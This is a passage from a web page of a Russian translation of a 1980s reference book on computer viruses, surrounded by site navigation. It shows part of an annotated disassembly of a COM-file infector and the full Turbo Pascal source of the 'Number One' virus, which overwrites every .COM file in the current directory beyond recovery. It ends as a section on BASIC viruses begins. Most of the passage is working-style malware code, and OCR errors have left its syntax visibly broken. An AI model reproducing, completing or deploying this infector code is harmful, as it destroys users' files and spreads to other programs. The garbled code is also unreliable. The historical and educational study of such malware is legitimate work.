Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)
Demon's Souls |#9| Heart of surprises

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Ральф Бургер Весь текст 616.55 Kb

Большой справочник по компьютерным вирусам

Предыдущая страница Следующая страница
1 ... 29 30 31 32 33 34 35  36 37 38 39 40 41 42 ... 53
 ¦  ¦ ¦   АДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДЩ
 ¦  ¦ ¦   ЪДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДД¬
 ¦  ¦ ¦   ¦ 08C4. INT    21                  (*UPRO*)
 ¦  ¦ ¦   АДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДЩ

                           - 211 -
 ¦  ¦ ¦   ЪДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДД¬
 ¦  ¦ ¦   ¦ 08C6.  MOV    AH,3E              ¦ Закрыть файл
 ¦  ¦ ¦   АДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДЩ
 ¦  ¦ ¦   ЪДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДД¬
 ¦  ¦ ¦   ¦ 08C8. INT    21                  (*UPRO*)
 ¦  ¦ ¦   АДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДЩ
 ¦  АД¦ДД>ДДДДДДДДДДДДДДДДДДД¦
 ¦    ¦   ЪДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДД¬
 ¦        ¦ 08CA. MOV    AX,4301             ¦ Вновь установить
 ¦        ¦ 08CC. MOV    CX,,SI+0008         ¦ прежние атрибуты
 ¦        ¦ 08D1. MOV    DX,001F             ¦
 ¦        ¦ 08D4. NOP                        ¦
 ¦        ¦ 08D5. ADD    DX,SI               ¦
 ¦        АДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДЩ
 ¦        ЪДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДД¬
 ¦        ¦ 08D7. INT    21                  (*UPRO*)
 ¦        АДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДЩ
 ¦       ЪДДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДД¬
 ¦       ¦ 08D9. PUSH   DS                   ¦ Вновь установить
 ¦       ¦ 08DA. MOV    AH,1A                ¦ прежнюю область
 ¦       ¦ 08DC. MOV    DX,,SI+0000          ¦ DTA
 ¦       ¦ 08E0. MOV    DS,,SI+0002          ¦
 ¦       АДДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДЩ
 ¦       ЪДДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДД¬
 ¦       ¦ 08E4. INT    21                   (*UPRO*)
 ¦       АДДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДЩ
 ¦       ЪДДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДД¬
 ¦       ¦ 08E6. POP    DS                   ¦
 ¦       АДДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДЩ
 АДДДД>ДДДДДДДДДДДДДДДДДДДДДД¦
         ЪДДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДД¬
         ¦ 08E7.  POP    CX                  ¦ Переход в приклад-
         ¦ 08E8.  XOR    AX,AX               ¦ ную программу для
         ¦ 08EA.  XOR    BX,BX               ¦ 0100h
         ¦ 08EC.  XOR    DX,DX               ¦
         ¦ 08EE.  XOR    SI,SI               ¦
         ¦ 08F0.  MOV    DI,0100             ¦
         ¦ 08F3.  PUSH   DI                  ¦
         ¦ 08F4.  XOR    DI,DI               ¦

                           - 212 -
         АДДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДЩ
         ЪДДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДД¬
         ¦ 08F6. RET    FFFF                 (*LEAVE*)
         АДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
08F9   80   00   37   30; Область  сохранения    DTA(область
                          передачи данных диска)
08FD  04  40  54  08    ; Прежнее время/даты создания файла
0901  23  00            ; Атрибут файла
0903  EB  08  18        ; Байты (100h - 102h) исходного COM-файла
0906  Е9  FD  05        ; 3 новых байта (JMP вируса!)
0909  24  2E  43  4F  4D  00  [*.COM]
090F  1C  00            ; Начало записей имен пути доступа
0911  40  78            ; Указательна начало имени файла
0913  50  41  54  48  3D  [PATH=]
0918  44  45  4D  4F  55  4E  54  2E  43  4F  4D  00  [DEMOUNT.COM.]
      (  20  20  20  .. )
0958     xx  xx  ..     ; DTA программа-вируса
0983  20  20  20  20  20


                           10.2 Вирусы на Паскале

    Язык  высокого  уровня Паскаль, а особенно  Турбо-Паскаль,  в
силу  своей  близости к машинному  языку  предоставляет  отличные
возможности  для написания программ-вирусов. Правда,  недостатком
его  является  то, что компилятор Паскаля не берет  файлы  длиной
менее  12 Кбайт. Но поскольку для целей отладки размер  программы
значения не имеет, Турбо-Паскаль вполне пригоден для того,  чтобы
уяснить принципиальную структуру вирусов.
     В качестве примера здесь приводится перезаписвающая програм-
ма-вирус на Паскале. Эти коды время от времени пересылались через
различные  "почтовые ящики". Здесь программа публикуется в  своей
первоначальной форме с комментариями, составленными ее автором М.
Валленом.

{
-----------------------------------------------------------------

Number One

                           - 213 -

This is a very primitiv computer virus.

HANDLE WITH CARE! ----------- demonstration ONLY!

     Number One infect all.COM-file in the CURRENT directory.
     A warning message and the infected file's name will be displayed.
     That  file has been overwritten with Number  One's  programm
     code and is not reconstructable!
     If  all file s are infected or no .COM-files  found,  Number
     One gives you a .
     Files may be protected against infections of Number One by
     setting the READ ONLY attribute.
     Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
     (c) 1987 by BrainLab
---------------------------------------------------------------------
}
{C-}
{U-}
{I-}          {  Do  not allow  an  user  Break, enable 10 check}
{--Constants----------------------------------------------------}
Const
  VirusSize = 12027;                  { Number One's code size }
  Warning   : String [42]             {        Warning massage }
            = 'This file has been infected by Number One's;

{--Type declaration----------------------------------------------}
Type
  DTARec    = Record                           { Date area for }
  DOSnext   : Array 1...21 of Byte;            {   file search }
  Attr      : Byte;
  FTime,
  FDate,
  FLsize,
  FHsize    : Integer;
  FullName  : Array 1...13 of Char;
  End;
  Registers = Record         {Register set useed for file search}
  Case Byte of

                           - 214 -
  1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
  2: ( AL, AH, BL, BH, CL, CH, DL, DH          : Byte);
  End;
{--Variables------------------------------------------------------}
Var
  ProgramStart : Byte absolute Cseg: $180;                                                                       {Memory offset of program code}
                                               {Infection marker}

  MarkInfected : String 42 absolute Cseg: $180;
  Reg          : Register;                     {    Register set}
  DTA          : DTARec;                       {       Date area}

  Buffer       :Array [Byte] of Byte;      {          Date buffer}
  TestID       : String 42;          {To recognize infected files}
  UsePath      : String 66;                { Path to search files}
                                           {Length of search path}
  UsePathLength: Byte absolute UsePath;
  Go           : File;                     {       File to infect}
  B            : Byte;                     {                Used }

--Program code-------------------------------------------------------

Begin
  WriteLn(Warning);                      {Display Warning massage}
  GetDir(0,UsePath);                     {  Get current directory}

  if Post ('\', UsePath ) <>  UsePathLengt then
     UsePath:= UsePath + '\';
     UsePath:= UsePath + '*.COM';        {    Define  search mask}
     Reg.AH := $1A;                      {          Set date area}
     Reg.DS Seg(DTA);
     Reg.DX Ofs(DTA);
     MsDos(Reg);
     UsePath Succ(UsePathLength):=0; Path must end with =0
     Reg.AH := $4e;
     Reg.DS := Seg(UsePath);
     Reg.DX := Ofs(UsePath 1);
     Reg.CX :=$ff;                 {Set attribut to find ALL files}
     MsDos(Reg);                   { Find the first matching entry}

                           - 215 -
     If not Odd(Reg.Flags) Then    {      If a file  found then...}
        Repeat
          UsePath:=DTA.FullName;
          B      := Pos(#0,UsePath);
          If B> 0 Then
             Delete (UsePath,B,255);            {   Remove garbage}
             Assign(Go, UsePath);
             Reset(GO);
             If IOresult=0                      {If not error then}
               Begin
                    BlockRead(Go,Buffer,2);
                    Move(Buffer $80,TestID, 43);
                                 {Test if file is already infected}
                    If TestID<> Warning then    {     If not, then}
                      Begin
                         Seek(Go,0);
                                     {Mark file as infected and...}
                         MarkInfected:= Warning;
                                         {             Infected it}
                  BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
                         Close(Go);
                                         {  Say what has been done}
                         WriteLn(UsePath +' infected.');
                         Halt;           {... and HALT the program}
                      End;
                      Close(Go);
               End;
                  {The file has already been infected, search next}
               Reg.AH:=$4F;
               Reg.DS Seg(DTA);
               Reg.DX Ofs(DTA);
               MsDos(Reg)
                                    {... Until no more files found}
               Until Odd(Reg.Flags);
               Write('');    {                 Give a smile}
End.

     Примечение  переводчика.  Комментарии  к  данной  программе,
видимо,  не нуждаются в переводе, а потому далее приводится  лишь

                           - 216 -
перевод "шапки"  программы:

     (Это весьма примитивный компьютерный вирус.
     ОБРАЩАТЬСЯ С ОСТОРОЖНОСТЬЮ! --- Только для демонстрации!
     Number One внедряется во все СОМ-файлы каталога CURRENT!
     Сообщения пользователю и имена инфицированных файлов  выдаю-
     тся на дисплей.
     Инфицированные   файлы  перезаписываются  кодами   программы
     Number One и не могут быть восстановлены!
     Если  все  файлы заражены или если  СОМ-файлов  не  найдено,
     программа выдаст Вам "улыбку".
     Файлы можно защитить от проникновения вируса путем установки
     атрибута "только чтение".)

                      Характеристики программы

     Этот перезаписывающий вирус ведет себя так же, как и описан-
ный в разделе 10.1. Правда, он не оказывает никакого действия  на
EXE-файлы. Кроме того, эта программа не так эффективна,  посколь-
ку, во-первых, имеет длину около 12 Кбайт и, во-вторых,  изменяет
записи даты создания файлов. К тому же вирус не может  преодолеть
атрибут "только чтение".
     Каталог перед вызовом программы-вируса:

Katalog von A:\

DEBUG     COM   15611    4-22-85     12:00p
DISKCOM   COM    4121    4-22-85     12:00p
DISKCOPY  COM    4425    4-22-85     12:00p
                 3 Dateien 330752 Bytes frei
     Каталог после вызова программы примет следующий вид:

Katalog von A:\

DEBUG     COM   15611    7-13-87      8:06p
DISKCOM   COM    4121    4-22-85     12:00p
DISKCOPY  COM    4425    4-22-85     12:00p
                 3 Dateien 330752 Bytes frei


                           - 217 -
     Тот, кто обратил внимание на эти записи, сразу уже  заметить
изменение  в указании даты создания файлов. Изменения еще  более
заметны, если вызвать самый короткий файл.

Katalog von A:\

DEBUG     COM   15611    7-13-87      8:06p
DISKCOM   COM   12032    7-13-87      8:09p
DISKCOPY  COM    4425    4-22-85     12:00p
                 3 Dateien 32584 Bytes frei

     Правда, при полном заражении запоминающей среды это не кара-
ется  дефектными  секторами. Вирус просто сигнализирует  об  этом
"улыбкой".

                     10.3 Вирусы на Бейсике

     Хотя многие сегодняшние специалисты в языках  программирова-
ния  начинали  с Бейсика, программисты , работающие  на  Бейсике,
частенько подвергаются насмешкам. Однако этот язык позволяет  соз-
давать очень эффективные программы-вирусы.
     В качестве первого примера приведем программу, которая испо-
льзует  определенные особенности операционной системы MS-DOS и  в
состоянии  поражать ЕХЕ-файлы, будучи  перезаписывающим  вирусом.
При  этом распечатку нужно скомпилировать, затем  сравнить  длину
скомпилированного и связанного ЕХЕ-файла, заново  отредактировать
исходную программу и установить переменную VIRLENGTH (длина виру-
Предыдущая страница Следующая страница
1 ... 29 30 31 32 33 34 35  36 37 38 39 40 41 42 ... 53
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (1)

Реклама